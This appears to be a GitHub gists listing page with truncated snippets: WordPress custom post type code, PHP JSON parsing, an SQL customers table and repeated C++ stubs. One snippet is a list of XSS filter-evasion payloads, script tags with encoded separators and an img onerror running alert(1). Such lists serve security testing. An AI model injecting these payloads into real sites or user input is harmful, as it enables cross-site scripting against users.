This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
add_action('init','prowp_register_my_post_types'); | |
function prowp_register_my_post_types() { | |
register_post_type( 'products', | |
array( | |
'labels' => array( | |
'name' => 'Products', | |
'singular_name'=>'Product', | |
'add_new'=>'Add New Product', |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function admin_menu_styles(){ | |
?> | |
<style> | |
#menu-posts-products > a > div.wp-menu-image.dashicons-before:before { | |
content: '\f483'; | |
} | |
</style> | |
<?php |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$args = array( | |
'post_type'=>'products' | |
); | |
$myproducts = new WP_Query($args); | |
while($myproducts->have_posts()) : $myproducts->the_post(); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$parse_json = file_get_contents('json.json'); | |
$string = json_decode($parse_json,true); | |
foreach($string as $strings){ | |
foreach ($strings as $key => $value) { | |
echo "<pre>"; | |
echo $key . $value . "<br/>"; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
CREATE TABLE IF NOT EXISTS `customers` ( | |
`customerid` int(11) NOT NULL, | |
`name` char(50) NOT NULL, | |
`address` char(100) NOT NULL, | |
`city` char(30) NOT NULL | |
) | |
INSERT INTO `customers` (`customerid`, `name`, `address`, `city`) VALUES | |
(1, 'John Smith', '454 Peacock St', 'Charleston WV'), |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$args = array( | |
'public' => true, | |
'_builtin' => false | |
); | |
$post_types = get_post_types($args, 'names', 'and'); | |
foreach ($post_types as $post_type) { | |
/** |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<script\x20type="text/javascript">javascript:alert(1);</script> | |
<script\x3Etype="text/javascript">javascript:alert(1);</script> | |
<script\x0Dtype="text/javascript">javascript:alert(1);</script> | |
<script\x09type="text/javascript">javascript:alert(1);</script> | |
<script\x0Ctype="text/javascript">javascript:alert(1);</script> | |
<script\x2Ftype="text/javascript">javascript:alert(1);</script> | |
<script\x0Atype="text/javascript">javascript:alert(1);</script> | |
'`"><\x3Cscript>javascript:alert(1)</script> | |
'`"><\x00script>javascript:alert(1)</script> | |
<img src=1 href=1 onerror="javascript:alert(1)"></img> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include "stdafx.h" | |
#include <iostream> | |
using namespace std; | |
void FreezeWindow(); | |
void FreezeWindow() { | |
char response; | |
cin >> response; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include "stdafx.h" | |
#include <iostream> | |
using namespace std; | |
void FreezeWindow(); | |
void FreezeWindow() { | |
char response; | |
cin >> response; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include "stdafx.h" | |
#include <iostream> | |
using namespace std; | |
void FreezeWindow(); | |
void FreezeWindow() { | |
char response; | |
cin >> response; | |
} |
OlderNewer